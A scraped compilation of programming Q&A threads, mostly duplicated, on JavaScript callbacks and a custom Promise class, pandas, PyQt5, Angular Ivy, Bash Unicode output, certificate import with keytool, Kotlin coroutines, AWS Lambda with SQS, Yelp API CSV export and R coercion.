  handlers.onTask2Complete && handlers.onTask2Complete();
}
const myHandlers = {
  onLoad: () => {
    // do stuff
  },
  onTask1Complete: () => {
    // do other stuff
  },
  onTask2Complete: () => {
    // etc
  }
};

foo(myHandlers);
</code>```

Note that it lets you specify only the handlers you need. A more flexible approach would be to a publish-subscribe model, where a subscribe method pushes a function to an array of handlers, all of which are called when the event occurs.

Body:
I have an asynchronous function that performs various await tasks. I am trying to inform my UI in React when the status of the function changes or when one of the tasks is completed.

const foo = async () => {
    // trigger on load event

    await task1();
    // trigger task1 done event

    await task2();
    // trigger task2 done event

    await task3();
    // trigger on done event
}

I also want to be able to specify callbacks for each event, like so:

const bar = foo();
foo.on_load(() => {
    // some code goes here
});
foo.on_done(() => {
    // some code goes here
});

Another alternative would be something like this:

const bar = foo();
foo.on('status_change', status => {
    // read the status here and do something depending on the status
})

I have been reading about custom events in JS but not sure how to use them for this. Or maybe there's another way to do this in React.

Any ideas would be helpful. Thanks!

EDIT

var uploadTask = storageRef.child('images/rivers.jpg').put(file);

// Register three observers:
// 1. 'state_changed' observer, called any time the state changes
// 2. Error observer, called on failure
// 3. Completion observer, called on successful completion
uploadTask.on('state_changed', function(snapshot){
  // Observe state change events such as progress, pause, and resume
  // Get task progress, including the number of bytes uploaded and the total number of bytes to be uploaded
  var progress = (snapshot.bytesTransferred / snapshot.totalBytes) * 100;
  console.log('Upload is ' + progress + '% done');
  switch (snapshot.state) {
    case firebase.storage.TaskState.PAUSED: // or 'paused'
      console.log('Upload is paused');
      break;
    case firebase.storage.TaskState.RUNNING: // or 'running'
      console.log('Upload is running');
      break;
  }
}, function(error) {
  // Handle unsuccessful uploads
}, function() {
  // Handle successful uploads on complete
  // For instance, get the download URL: https://firebasestorage.googleapis.com/...
  uploadTask.snapshot.ref.getDownloadURL().then(function(downloadURL) {
    console.log('File available at', downloadURL);
  });
});

I was trying to achieve something like the above code, taken from the firebase documentation on uploading files

This is where I've gotten so far:

class Task {
  constructor() {
    this.first = null;
    this.second = null;
  }

  on(keyword, callback) {
    switch (keyword) {
      case "first":
        this.first = callback;
        break;
      case "second":
        this.second = callback;
        break;
      default:
        // throw new error
        break;
    }
  }
}

const timeout = async time => {
  return new Promise(resolve => setTimeout(resolve, time));
};

const foo = () => {
  const task = new Task();

  timeout(2000).then(async () => {
    task.first && task.first();
    await timeout(2000);
    task.second && task.second();
  });

  console.log("returning");
  return task;
};

const taskObject = foo();
taskObject.on("first", () => console.log("executing first callback"));
taskObject.on("second", () => console.log("executing second callback"));

Is there a better way to do this - without having the nested thens? Which approach would be better and when? EDIT - removed nested then clauses and replaced with then and await

PS: for my requirements, having callbacks would be sufficient. This is just so I can understand the concept better. Thanks!

Body:
I'm going to assume there's a reason for you not simply calling some named method after each async step has complete, i.e., you want to be able to plug in different handlers for each event. Here is one way to go about it - whether or not it's the best is hard to tell from the little context provided:

const foo = async (handlers) => {
  handlers.onLoad && handlers.onLoad();

  await task1();
  handlers.onTask1Complete && handlers.onTask1Complete();

  await task2();
  handlers.onTask2Complete && handlers.onTask2Complete();
}
const myHandlers = {
  onLoad: () => {
    // do stuff
  },
  onTask1Complete: () => {
    // do other stuff
  },
  onTask2Complete: () => {
    // etc
  }
};

foo(myHandlers);

Note that it lets you specify only the handlers you need. A more flexible approach would be to a publish-subscribe model, where a subscribe method pushes a function to an array of handlers, all of which are called when the event occurs.


问:
Javascript Promise from scratch
I got an error writing a basic promise from scratch and don't know why this.status produces an error

class Promisify {
  constructor(fn) {
    this.status = 0; // 0 = unfulfilled, 1 = resolved, 2 = rejected
    this.result = undefined;
    this.error = undefined;
    this.thenFns = [];
    this.catchFns = [];
    this.finallyFn = undefined;

    try {
      fn(this._resolve, this._reject);
    } catch (e) {
      this._reject(e);
    }
  }

  // public methods
  then(fn) {
    this.thenFns.push(fn);
    this._doThen();
    return this;
  }

  catch(fn) {
    this.catchFns.push(fn);
    this._doCatch();
    return this;
  };

  finally(fn) {
    this.finallyFn = fn;
    return this;
  }

  // private methods
  _doThen() {
    if (this.status === 1) {
      while(this.thenFns.length) {
        this.thenFns.shift()(this.result);
      }
    }
  }

  _doCatch() {
    if (this.status === 2) {
      if (this.catchFns.length === 0) {
        console.error('uncaught error')
      }
      while(this.catchFns.length) {
        this.catchFns.shift()(this.error);
      }
    }
  }

  _resolve(r) {
    if(this.status)
      throw Error('cannot resolve, already handled');
    this.status = 1;
    this.result = r;
    this._doThen();
  }

  _reject(e) {
    if (this.status) throw Error('cannot reject, already handled');
    this.status = 2;
    this.error = e;
    this._doCatch();
  }
}```

答:
This issue is occurring because of scoping.you are calling resolve and reject from new Promise function call which has their own scope.

In this case you need to bind your Promisify class object to resolve and reject method it will work out, mainly this issue is occurring because of 'this'

Title: Javascript Promise from scratch


答:
If you want to pass your functions for someone else to call with

```<code> fn(this._resolve, this._reject);
</code>```

and have this point to your promise object when they are called, you need to bind them explicitly:

```<code>  fn(this._resolve.bind(this), this._reject.bind(this));
</code>```

class Promisify {
   constructor(fn) {
     this.status = 0; // 0 = unfulfilled, 1 = resolved, 2 = rejected
     this.result = undefined;
     this.error = undefined;
     this.thenFns = [];
     this.catchFns = [];
     this.finallyFn = undefined;

     try {
       fn(this._resolve.bind(this), this._reject.bind(this));
     } catch (e) {
       this._reject(e);
     }
   }

   // public methods
   then(fn) {
     this.thenFns.push(fn);
     this._doThen();
     return this;
   }

   catch(fn) {
     this.catchFns.push(fn);
     this._doCatch();
     return this;
   };

   finally(fn) {
     this.finallyFn = fn;
     return this;
   }

   // private methods
   _doThen() {
     if (this.status === 1) {
       while(this.thenFns.length) {
         this.thenFns.shift()(this.result);
       }
     }
   }

   _doCatch() {
     if (this.status === 2) {
       if (this.catchFns.length === 0) {
         console.error('uncaught error')
       }
       while(this.catchFns.length) {
         this.catchFns.shift()(this.error);
       }
     }
   }

   _resolve(r) {
     if(this.status)
       throw Error('cannot resolve, already handled');
     this.status = 1;
     this.result = r;
     this._doThen();
   }

   _reject(e) {
     if (this.status) throw Error('cannot reject, already handled');
     this.status = 2;
     this.error = e;
     this._doCatch();
   }
 }

 const demo = new Promisify((resolve, reject) => {
   setTimeout(function() {
     resolve('Howdy!')
   }, 1000);
 });

 demo
.then(val => console.log("Demo Value in Then!!", val))
.catch(console.error) //Should throw an error.
.then(val => console.log("Second then!"))
.catch((err) => {
    throw new Error('error', err);
})
.finally(val => console.log("Executed Finally"))
 ```

Title: Javascript Promise from scratch

Body:
I got an error writing a basic promise from scratch and don't know why this.status produces an error

class Promisify {
  constructor(fn) {
    this.status = 0; // 0 = unfulfilled, 1 = resolved, 2 = rejected
    this.result = undefined;
    this.error = undefined;
    this.thenFns = [];
    this.catchFns = [];
    this.finallyFn = undefined;

    try {
      fn(this._resolve, this._reject);
    } catch (e) {
      this._reject(e);
    }
  }

  // public methods
  then(fn) {
    this.thenFns.push(fn);
    this._doThen();
    return this;
  }

  catch(fn) {
    this.catchFns.push(fn);
    this._doCatch();
    return this;
  };

  finally(fn) {
    this.finallyFn = fn;
    return this;
  }

  // private methods
  _doThen() {
    if (this.status === 1) {
      while(this.thenFns.length) {
        this.thenFns.shift()(this.result);
      }
    }
  }

  _doCatch() {
    if (this.status === 2) {
      if (this.catchFns.length === 0) {
        console.error('uncaught error')
      }
      while(this.catchFns.length) {
        this.catchFns.shift()(this.error);
      }
    }
  }

  _resolve(r) {
    if(this.status)
      throw Error('cannot resolve, already handled');
    this.status = 1;
    this.result = r;
    this._doThen();
  }

  _reject(e) {
    if (this.status) throw Error('cannot reject, already handled');
    this.status = 2;
    this.error = e;
    this._doCatch();
  }
}

Body:
If you want to pass your functions for someone else to call with

 fn(this._resolve, this._reject);

and have this point to your promise object when they are called, you need to bind them explicitly:

  fn(this._resolve.bind(this), this._reject.bind(this));

class Promisify {
   constructor(fn) {
     this.status = 0; // 0 = unfulfilled, 1 = resolved, 2 = rejected
     this.result = undefined;
     this.error = undefined;
     this.thenFns = [];
     this.catchFns = [];
     this.finallyFn = undefined;

     try {
       fn(this._resolve.bind(this), this._reject.bind(this));
     } catch (e) {
       this._reject(e);
     }
   }

   // public methods
   then(fn) {
     this.thenFns.push(fn);
     this._doThen();
     return this;
   }

   catch(fn) {
     this.catchFns.push(fn);
     this._doCatch();
     return this;
   };

   finally(fn) {
     this.finallyFn = fn;
     return this;
   }

   // private methods
   _doThen() {
     if (this.status === 1) {
       while(this.thenFns.length) {
         this.thenFns.shift()(this.result);
       }
     }
   }

   _doCatch() {
     if (this.status === 2) {
       if (this.catchFns.length === 0) {
         console.error('uncaught error')
       }
       while(this.catchFns.length) {
         this.catchFns.shift()(this.error);
       }
     }
   }

   _resolve(r) {
     if(this.status)
       throw Error('cannot resolve, already handled');
     this.status = 1;
     this.result = r;
     this._doThen();
   }

   _reject(e) {
     if (this.status) throw Error('cannot reject, already handled');
     this.status = 2;
     this.error = e;
     this._doCatch();
   }
 }

 const demo = new Promisify((resolve, reject) => {
   setTimeout(function() {
     resolve('Howdy!')
   }, 1000);
 });

 demo
.then(val => console.log("Demo Value in Then!!", val))
.catch(console.error) //Should throw an error.
.then(val => console.log("Second then!"))
.catch((err) => {
    throw new Error('error', err);
})
.finally(val => console.log("Executed Finally"))


问:
read_sql_query Invalid object name on all tables
I'm trying to run a very basic SQL query through pandas' read_sql_query in Jupyter, i.e.

```<code>df=pd.read_sql_query('SELECT * FROM table_name',conn)
print(df)
</code>```

The query doesn't execute showing ProgrammingError 42S02 - Invalid object name 'table_name'. And yet, when I run the same query and replace table_name with sys.tables,

```<code>df=pd.read_sql_query('SELECT * FROM sys.tables',conn)
print(df)
</code>```

the list shows all the tables including the table_name table. I also tried db_name.table_name and it tells me that db_name.table_name is invalid object.

What might be the issue?

答: As @Datanovice pointed out in the comments, the database schema was missing in the query. After I added the schema abbreviation, everything worked</p>

Body:
I'm trying to run a very basic SQL query through pandas' read_sql_query in Jupyter, i.e.

df=pd.read_sql_query('SELECT * FROM table_name',conn)
print(df)

The query doesn't execute showing ProgrammingError 42S02 - Invalid object name 'table_name'. And yet, when I run the same query and replace table_name with sys.tables,

df=pd.read_sql_query('SELECT * FROM sys.tables',conn)
print(df)

the list shows all the tables including the table_name table. I also tried db_name.table_name and it tells me that db_name.table_name is invalid object.

What might be the issue?


问:
SVG load to Frame
I am trying to make a svg widget load inside my Krita docker to act as a cursor. Krita is a painting program and it uses python and PyQt5 to load up plugins. I made a blank docker with the bare minimum for it to load. If anything is add will be in the Area marked with "Testing".

However my SVG load method seems not to be working when compared with other references, and i think it might be the path to the frame itself as I try to place the viewer that I loaded.

```<code># Import Krita
from krita import *
from PyQt5 import QtWidgets, QtCore, QtGui, QtSvg, uic
import os.path

from PyQt5 import QtWidgets, QtSvg

# Set Window Title Name
DOCKER_NAME = "Blank"

# Create Docker
class BlankDocker(DockWidget):
    """
    Comments
    """
    # Initialize the Dicker Window
    def __init__(self):
        super(BlankDocker, self).__init__()

        # Window Title
        self.setWindowTitle(DOCKER_NAME)
        # Widget
        self.window = QWidget()
        self.layout = uic.loadUi(os.path.dirname(os.path.realpath(__file__)) + '/blank.ui', self.window)
        self.setWidget(self.window)

        # TESTING###################################################################################

        self.viewer = QtSvg.QSvgWidget()
        self.viewer.load('C:/Users/EyeOd/AppData/Roaming/krita/pykrita/blank/Notes/cursor_lmb.svg')
        self.viewer.setGeometry(QtCore.QRect(0,0,200,200))

        self.layout.frame.addWidget(self.viewer) #??

        ############################################################################################
    # Change the Canvas
    def canvasChanged(self, canvas):
        pass
</code>```

The area of interest of the *.UI file I load is the QFrame = "frame" in which I want to place the widget inside to move around inside.
http://pasteall.org/pic/show.php?id=b7083dbb5e13adafcddb9ee9fdfa8fcd

答:
QFrame doesn't have any method called addWidget so you should have an exception. So if you want to place the QSvgWidget in the QFrame you have 2 alternatives:

Set as parent of QSvgWidget to QFrame.

```<code>self.viewer = QtSvg.QSvgWidget(<b>self.window.frame</b>)
self.viewer.load('C:/Users/EyeOd/AppData/Roaming/krita/pykrita/blank/Notes/cursor_lmb.svg')
self.viewer.setGeometry(QtCore.QRect(0, 0, 200, 200))</code>```

Use a layout:

```<code>self.viewer = QtSvg.QSvgWidget()
self.viewer.load('C:/Users/EyeOd/AppData/Roaming/krita/pykrita/blank/Notes/cursor_lmb.svg')
<b>lay = QVBoxLayout(self.window.frame)
lay.addWidget(self.viewer)</b></code>```

Note: If you use self.layout = uic.loadUi(..., self.window) then you will see that self.layout is the same self.window object so to avoid confusion it is advisable to use uic.loadUi(..., self.window)

Title: SVG load to Frame

Body:
I am trying to make a svg widget load inside my Krita docker to act as a cursor. Krita is a painting program and it uses python and PyQt5 to load up plugins. I made a blank docker with the bare minimum for it to load. If anything is add will be in the Area marked with "Testing".

However my SVG load method seems not to be working when compared with other references, and i think it might be the path to the frame itself as I try to place the viewer that I loaded.

# Import Krita
from krita import *
from PyQt5 import QtWidgets, QtCore, QtGui, QtSvg, uic
import os.path

from PyQt5 import QtWidgets, QtSvg

# Set Window Title Name
DOCKER_NAME = "Blank"

# Create Docker
class BlankDocker(DockWidget):
    """
    Comments
    """
    # Initialize the Dicker Window
    def __init__(self):
        super(BlankDocker, self).__init__()

        # Window Title
        self.setWindowTitle(DOCKER_NAME)
        # Widget
        self.window = QWidget()
        self.layout = uic.loadUi(os.path.dirname(os.path.realpath(__file__)) + '/blank.ui', self.window)
        self.setWidget(self.window)

        # TESTING###################################################################################

        self.viewer = QtSvg.QSvgWidget()
        self.viewer.load('C:/Users/EyeOd/AppData/Roaming/krita/pykrita/blank/Notes/cursor_lmb.svg')
        self.viewer.setGeometry(QtCore.QRect(0,0,200,200))

        self.layout.frame.addWidget(self.viewer) #??

        ############################################################################################
    # Change the Canvas
    def canvasChanged(self, canvas):
        pass

The area of interest of the *.UI file I load is the QFrame = "frame" in which I want to place the widget inside to move around inside.
http://pasteall.org/pic/show.php?id=b7083dbb5e13adafcddb9ee9fdfa8fcd

Body:
QFrame doesn't have any method called addWidget so you should have an exception. So if you want to place the QSvgWidget in the QFrame you have 2 alternatives:

Set as parent of QSvgWidget to QFrame.

self.viewer = QtSvg.QSvgWidget(self.window.frame)
self.viewer.load('C:/Users/EyeOd/AppData/Roaming/krita/pykrita/blank/Notes/cursor_lmb.svg')
self.viewer.setGeometry(QtCore.QRect(0, 0, 200, 200))

Use a layout:

self.viewer = QtSvg.QSvgWidget()
self.viewer.load('C:/Users/EyeOd/AppData/Roaming/krita/pykrita/blank/Notes/cursor_lmb.svg')
lay = QVBoxLayout(self.window.frame)
lay.addWidget(self.viewer)

Note: If you use self.layout = uic.loadUi(..., self.window) then you will see that self.layout is the same self.window object so to avoid confusion it is advisable to use uic.loadUi(..., self.window)


问:
Runtime error with Angular 9 and Ivy: Cannot read property 'id' of undefined ; Zone
We have an Angular 8 project with tests.  We are attempting to upgrade to Angular 9 and went through all the steps in https://update.angular.io/#8.0:9.0l3.  This all went smoothly, no issues.  The app compiles with no errors and all of the tests run fine.  We are getting this error at runtime.  When we turn off Ivy, it runs fine so definitely seems related to Ivy.  </p>

```<code>zone-evergreen.js:659 Unhandled Promise rejection: Cannot read property 'id' of undefined ; Zone: <root> ; Task: Promise.then ; Value: TypeError: Cannot read property 'id' of undefined
at registerNgModuleType (core.js:35467)
at core.js:35485
at Array.forEach (<anonymous>)
at registerNgModuleType (core.js:35481)
at core.js:35485
at Array.forEach (<anonymous>)
at registerNgModuleType (core.js:35481)
at new NgModuleFactory$1 (core.js:35649)
at compileNgModuleFactory__POST_R3__ (core.js:41403)
at PlatformRef.bootstrapModule (core.js:41768) TypeError: Cannot read property 'id' of undefined
at registerNgModuleType (http://localhost:8080/vendor.js:41436:27)
at http://localhost:8080/vendor.js:41454:14
at Array.forEach (<anonymous>)
at registerNgModuleType (http://localhost:8080/vendor.js:41450:17)
at http://localhost:8080/vendor.js:41454:14
at Array.forEach (<anonymous>)
at registerNgModuleType (http://localhost:8080/vendor.js:41450:17)
at new NgModuleFactory$1 (http://localhost:8080/vendor.js:41602:13)
at compileNgModuleFactory__POST_R3__ (http://localhost:8080/vendor.js:46530:27)
at PlatformRef.bootstrapModule (http://localhost:8080/vendor.js:46859:16)
</code>```

答:
Looks like an issue with the compilation of modules. Try clearing your node_modules and running:

ngcc --properties main

Per this comment: https://github.com/angular/angular/issues/31314#issuecomment-562373301

Body:
We have an Angular 8 project with tests.  We are attempting to upgrade to Angular 9 and went through all the steps in https://update.angular.io/#8.0:9.0l3.  This all went smoothly, no issues.  The app compiles with no errors and all of the tests run fine.  We are getting this error at runtime.  When we turn off Ivy, it runs fine so definitely seems related to Ivy.

zone-evergreen.js:659 Unhandled Promise rejection: Cannot read property 'id' of undefined ; Zone: <root> ; Task: Promise.then ; Value: TypeError: Cannot read property 'id' of undefined
at registerNgModuleType (core.js:35467)
at core.js:35485
at Array.forEach (<anonymous>)
at registerNgModuleType (core.js:35481)
at core.js:35485
at Array.forEach (<anonymous>)
at registerNgModuleType (core.js:35481)
at new NgModuleFactory$1 (core.js:35649)
at compileNgModuleFactory__POST_R3__ (core.js:41403)
at PlatformRef.bootstrapModule (core.js:41768) TypeError: Cannot read property 'id' of undefined
at registerNgModuleType (http://localhost:8080/vendor.js:41436:27)
at http://localhost:8080/vendor.js:41454:14
at Array.forEach (<anonymous>)
at registerNgModuleType (http://localhost:8080/vendor.js:41450:17)
at http://localhost:8080/vendor.js:41454:14
at Array.forEach (<anonymous>)
at registerNgModuleType (http://localhost:8080/vendor.js:41450:17)
at new NgModuleFactory$1 (http://localhost:8080/vendor.js:41602:13)
at compileNgModuleFactory__POST_R3__ (http://localhost:8080/vendor.js:46530:27)
at PlatformRef.bootstrapModule (http://localhost:8080/vendor.js:46859:16)


问:
How to merge lists of objects based on their id's using the spread operator (ES6)
say i have two lists of objects,

```<code>list1 = [{id: 1, name: "tom", age:25}, {id: 2, name: "brad", age:35}, {id: 3, name: "marry", age:23}]
</code>```

and

```<code>list2 = [{id: 1, OS: "Windows"}, {id: 2, OS: "Mac"}];
</code>```

how do I obtain

```<code>finalList = [{id: 1, name: "tom", age:25, OS: "Windows"}, {id: 2, name: "brad", age:35, OS: "Mac"}, {id: 3, name: "marry", age:23}
</code>```

I would like to achieve this with the spread operator if at all possible, handling the scenarios where the lists are of different lenghts, and some objects dont hav id's.

答:
You can use .map() to return new result based on list1 and .find() to get corresponding element from list2 for list1 item:

let list1 = [{id: 1, name: "tom", age:25}, {id: 2, name: "brad", age:35}, {id: 3, name: "marry", age:23}];

let list2 = [{id: 1, OS: "Windows"}, {id: 2, OS: "Mac"}];

let result = list1.map(x => {
    let l2 = list2.find(y => y.id === x.id);
    return l2 ? { ...x, ...l2 } : x;
  });

 console.log(result);```

Body:
say i have two lists of objects,

list1 = [{id: 1, name: "tom", age:25}, {id: 2, name: "brad", age:35}, {id: 3, name: "marry", age:23}]

and

list2 = [{id: 1, OS: "Windows"}, {id: 2, OS: "Mac"}];

how do I obtain

finalList = [{id: 1, name: "tom", age:25, OS: "Windows"}, {id: 2, name: "brad", age:35, OS: "Mac"}, {id: 3, name: "marry", age:23}

I would like to achieve this with the spread operator if at all possible, handling the scenarios where the lists are of different lenghts, and some objects dont hav id's.


问:
How do you echo a 4-digit Unicode character in Bash?
I'd like to add the Unicode skull and crossbones to my shell prompt (specifically the 'SKULL AND CROSSBONES' (U+2620)), but I can't figure out the magic incantation to make echo spit it, or any other, 4-digit Unicode character. Two-digit one's are easy. For example, echo -e "\x55", .

In addition to the answers below it should be noted that, obviously, your terminal needs to support Unicode for the output to be what you expect. gnome-terminal does a good job of this, but it isn't necessarily turned on by default.

On macOS's Terminal app Go to Preferences-> Encodings and choose Unicode (UTF-8).

答:
In UTF-8 it's actually 6 digits (or 3 bytes).

```<code>$ printf '\xE2\x98\xA0'
☠
</code>```

To check how it's encoded by the console, use hexdump:

```<code>$ printf ☠ | hexdump
0000000 98e2 00a0
0000003
</code>```

OwnerDisplayName: masukomi

LastEditorDisplayName: masukomi

Body:
In UTF-8 it's actually 6 digits (or 3 bytes).

$ printf '\xE2\x98\xA0'
☠

To check how it's encoded by the console, use hexdump:

$ printf ☠ | hexdump
0000000 98e2 00a0
0000003


问:
Weblogic Import SSL .PFX File via Keytool
Recently our company is moving from LDAP to LDAPS.

We have an application (OBIEE) that runs on Weblogic with Unix as the OS. The instructions I have been provided indicate to use the java keytool command to import certificates.

Our administrator sent me a *.pfx file to import into our server. After some googling it looks like a *.pfx file can contain a few certificates within.

I figured out how to extract the certificates, but now my question is if I need to import the certificate can I use keytool to import a *.pfx file?

From the examples I have seen it doesnt sound like it can, and thus led me to extract the individual certificates. But then this leads me to my second question which is

If I have more then one certificate extracted from the *.pfx do I import ALL the certificates? Or just the root?

Not familiar with this type of thing, and any advice would be much appreciated.

答:
*.pfx is similar to other formats e.g. *.cert or *.crt except that it contains the private key as well (which normally as a client of AD/LDAP server you don't need it unless you want your application to authenticate itself against AD server given this private key was generated for your application).

So you don't need to import all the certificates, only the server certificate so that your application can trust the AD/LDAP server.

Extract the certificate, you can do so with OpenSSL tool as follow:

```<code>openssl pkcs12 -in myfile.pfx -out mycerts.crt -nokeys -clcerts
</code>```

Convert it from *.crt to *.cer

```<code>openssl x509 -inform pem -in mycerts.crt -outform der -out mycerts.cer
</code>```

Import the *.cer file into your JRE cacerts Keystore file.

```<code>keytool -import -trustcacerts -alias ldap -file mycerts.cer -keystore /paht/to/your/jre/lib/security/cacerts
</code>```

Note: You can probably skip step 2 and import the *.crt file format directly to your Keystore cacerts file.

Body:
*.pfx is similar to other formats e.g. *.cert or *.crt except that it contains the private key as well (which normally as a client of AD/LDAP server you don't need it unless you want your application to authenticate itself against AD server given this private key was generated for your application).

So you don't need to import all the certificates, only the server certificate so that your application can trust the AD/LDAP server.

Extract the certificate, you can do so with OpenSSL tool as follow:

openssl pkcs12 -in myfile.pfx -out mycerts.crt -nokeys -clcerts

Convert it from *.crt to *.cer

openssl x509 -inform pem -in mycerts.crt -outform der -out mycerts.cer

Import the *.cer file into your JRE cacerts Keystore file.

keytool -import -trustcacerts -alias ldap -file mycerts.cer -keystore /paht/to/your/jre/lib/security/cacerts

Note: You can probably skip step 2 and import the *.crt file format directly to your Keystore cacerts file.


问:
How can CoroutineScope(job+Dispatchers.Main) run on the main/UI thread?
If the operations inside CoroutineScope(job+Dispatchers.Main){...} run on the main thread then how come it does not violate Android's requirement that slow (blocking) operations (Networking etc.) are not allowed to run on the main/UI thread? I can run blocking operations with this scope and the UI does not freeze at all.

I would be grateful if someone could explain what is happening under the hood. My guess is that it is similar to how JavaScript manages blocking operations with the event loop, but I struggle to find any relevant materials.

答:
Running blocking operations and running suspending operations on CoroutineScope(Dispatchers.Main) are two different things.

delay() is a suspending function and it is non blocking

```<code>CoroutineScope(Dispatchers.Main){
    delay(6000)
}
</code>```

While Thread.sleep() is blocking and calling code below will cause ANR

```<code>CoroutineScope(Dispatchers.Main){
    Thread.sleep(6000)
}
</code>```

I suggest you checking Kotlin coroutines talk by Roman Elizarov on Kotlinconf 2017, especially the part where he runs 100,000 delay()

Body:
Running blocking operations and running suspending operations on CoroutineScope(Dispatchers.Main) are two different things.

delay() is a suspending function and it is non blocking

CoroutineScope(Dispatchers.Main){
    delay(6000)
}

While Thread.sleep() is blocking and calling code below will cause ANR

CoroutineScope(Dispatchers.Main){
    Thread.sleep(6000)
}

I suggest you checking Kotlin coroutines talk by Roman Elizarov on Kotlinconf 2017, especially the part where he runs 100,000 delay()


问:
How to invoke a million Lambdas efficiently?
I have a Lambda function which I'm currently invoking from EC2. But I'm invoking it sequentially in a loop. So, if there are 1000 items to be processed, I'm using a simple loop to iterate over them and invoke the Lambda function for each item.

If this were to be done for a million items, this will not be efficient. What options do I have to reduce the time taken for this process.

The process for all items are independent; so, I can invoke, say, 1000 Lambdas in 1000 threads. But is that appropriate? I don't know much about Celery, SQS, redis, etc. but will those be useful in this scenario?

Just in case it's relevant, each Lambda takes around 5 minutes to complete.

答:
A common practice is to push messages to an Amazon SQS queue and configure the queue to trigger an AWS Lambda function.

You can push up to 10 messages at a time to the SQS queue.

This approach also has the benefit of handling failed invocations by moving messages to a Dead Letter Queue.

See: Using AWS Lambda with Amazon SQS


问:
Exporting data from Yelp API to csv file
I'm a beginner programmer trying to work with the Yelp API and I've been able to pull the information I need but I can't figure out how to only export a single part of the address into my csv file. This is the code I am working with:

```<code>**Convert the JSON string to a dictionary*

business_data = response.json()
c = csv.writer(open('testing.csv', 'a'), lineterminator ='\n')

for biz in business_data['businesses']:

    c.writerow([biz['name'], biz['location'], biz['phone'], biz['url']])
</code>```

In the last line of code, in the for loop, I want to be able to target a specific element of the 'location' like this:

```<code>#c.writerow([biz['name'], biz['address1'], biz['city'], biz['state'], biz['zip_code'], biz['phone'], biz['url']])
</code>```

on the Yelp website it shows that I can target these specifics but I just can't seem to figure out how with c.writerow()

Yelp shows that I can target these like this:

```<code>businesses[x].location.address1
businesses[x].location.address2
businesses[x].location.city
</code>```

答:
From the response, biz['location'] is a python dictionary meaning it consists of key, value pairs.

You can validate this by printing type(biz['location']). To answer your question, all you need is to call the dict key & write the value into the file.

```<code>c.writerow([biz['name'], biz['location']['address1'], biz['location']['city'], biz['location']['state'], biz['location']['zip_code'] biz['phone'], biz['url']])
</code>```

Body:
I'm a beginner programmer trying to work with the Yelp API and I've been able to pull the information I need but I can't figure out how to only export a single part of the address into my csv file. This is the code I am working with:

**Convert the JSON string to a dictionary*

business_data = response.json()
c = csv.writer(open('testing.csv', 'a'), lineterminator ='\n')

for biz in business_data['businesses']:

    c.writerow([biz['name'], biz['location'], biz['phone'], biz['url']])

In the last line of code, in the for loop, I want to be able to target a specific element of the 'location' like this:

#c.writerow([biz['name'], biz['address1'], biz['city'], biz['state'], biz['zip_code'], biz['phone'], biz['url']])

on the Yelp website it shows that I can target these specifics but I just can't seem to figure out how with c.writerow()

Yelp shows that I can target these like this:

businesses[x].location.address1
businesses[x].location.address2
businesses[x].location.city

Body:
From the response, biz['location'] is a python dictionary meaning it consists of key, value pairs.

You can validate this by printing type(biz['location']). To answer your question, all you need is to call the dict key & write the value into the file.

c.writerow([biz['name'], biz['location']['address1'], biz['location']['city'], biz['location']['state'], biz['location']['zip_code'] biz['phone'], biz['url']])


问:
Overloading as.logical in base R
I want to simplify some little text generating code. Default arguments to program are 0 length character when that function is not to be used. I'm interested in something simpler than

if (nchar(expr) > 0) ...

So I created the following

```<code>as.logical <- function(x, ...) UseMethod("as.logical")
as.logical.default <- function (x, ...)  base::as.logical(x, ...)
as.logical.character <- function (x, ...) nchar(x) > 0
</code>```

If I try some examples in the command line, it works

```<code>> as.logical(letters)
 [1] TRUE TRUE TRUE ...
</code>```

But interestingly, the cond "logical" vector doesn't attempt to apply as.logical. It seems to be used in other cases as below:

```<code>> if (1) print('Has')
[1] "Has"
> if ('Has') print(1)
Error in if ("Has") print(1) : argument is not interpretable as logical
</code>```

How does cond evaluate and can't I fool it into using my function?

答:
Looking at the source, the base R if statement doesn't do implicit coercion to logical in
a generic way. Here's the code. It does call asLogical in the C code on the expression, but that version of asLogical doesn't do generic dispatching (since the default as.logical isn't generic). If a character string is passed in, it will only run LogicalFromString which only recognizes a hard-coded limited number of strings as TRUE: "T", "True", "TRUE", "true". There's no way to change that behavior in the user space unless you wanted to write some sort of "if" function type thing (you can't really write your own statements).

Title: Overloading as.logical in base R

Body:
I want to simplify some little text generating code. Default arguments to program are 0 length character when that function is not to be used. I'm interested in something simpler than

if (nchar(expr) > 0) ...

So I created the following

as.logical <- function(x, ...) UseMethod("as.logical")
as.logical.default <- function (x, ...)  base::as.logical(x, ...)
as.logical.character <- function (x, ...) nchar(x) > 0

If I try some examples in the command line, it works

> as.logical(letters)
 [1] TRUE TRUE TRUE ...

But interestingly, the cond "logical" vector doesn't attempt to apply as.logical. It seems to be used in other cases as below:

> if (1) print('Has')
[1] "Has"
> if ('Has') print(1)
Error in if ("Has") print(1) : argument is not interpretable as logical

How does cond evaluate and can't I fool it into using my function?


问:
filter dataframe columns as you iterate through rows and create dictionary
I have the following table of data in a spreadsheet:

```<code>Name    Description Value
foo     foobar      5
baz     foobaz      4
bar     foofoo      8
</code>```

I'm reading the spreadsheet and passing the data as a dataframe.

I need to transform this table of data to json following a specific schema.

I have the following script:

```<code>for index, row in df.iterrows():
    if row['Description'] == 'foofoo':
            print(row.to_dict())
</code>```

which return:

```<code>{'Name': 'bar', 'Description': 'foofoo', 'Value': '8'}
</code>```

I want to be able to filter out a specific column. For example, to return this:

```<code>{'Name': 'bar', 'Description': 'foofoo'}
</code>```

I know that I can print only the columns I want with this print(row['Name'],row['Description']) however this is only returning me values when I also want to return the key.

How can I do this?

答:
I wrote this entire thing only to realize that @anky_91 had already suggested it. Oh well...

import pandas as pd

data = {
    "name": ["foo", "abc", "baz", "bar"],
    "description": ["foobar", "foofoo", "foobaz", "foofoo"],
    "value": [5, 3, 4, 8],
}

df = pd.DataFrame(data=data)

print(df, end='\n\n')

rec_dicts = df.loc[df["description"] == "foofoo", ["name", "description"]].to_dict(
    "records"
)

print(rec_dicts)
```

<p>Output:</p>

<pre class="lang-none prettyprint-override"><code>  name description  value
0  foo      foobar      5
1  abc      foofoo      3
2  baz      foobaz      4
3  bar      foofoo      8

[{'name': 'abc', 'description': 'foofoo'}, {'name': 'bar', 'description': 'foofoo'}]
</code>```

Body:
I have the following table of data in a spreadsheet:

Name    Description Value
foo     foobar      5
baz     foobaz      4
bar     foofoo      8

I'm reading the spreadsheet and passing the data as a dataframe.

I need to transform this table of data to json following a specific schema.

I have the following script:

for index, row in df.iterrows():
    if row['Description'] == 'foofoo':
            print(row.to_dict())

which return:

{'Name': 'bar', 'Description': 'foofoo', 'Value': '8'}

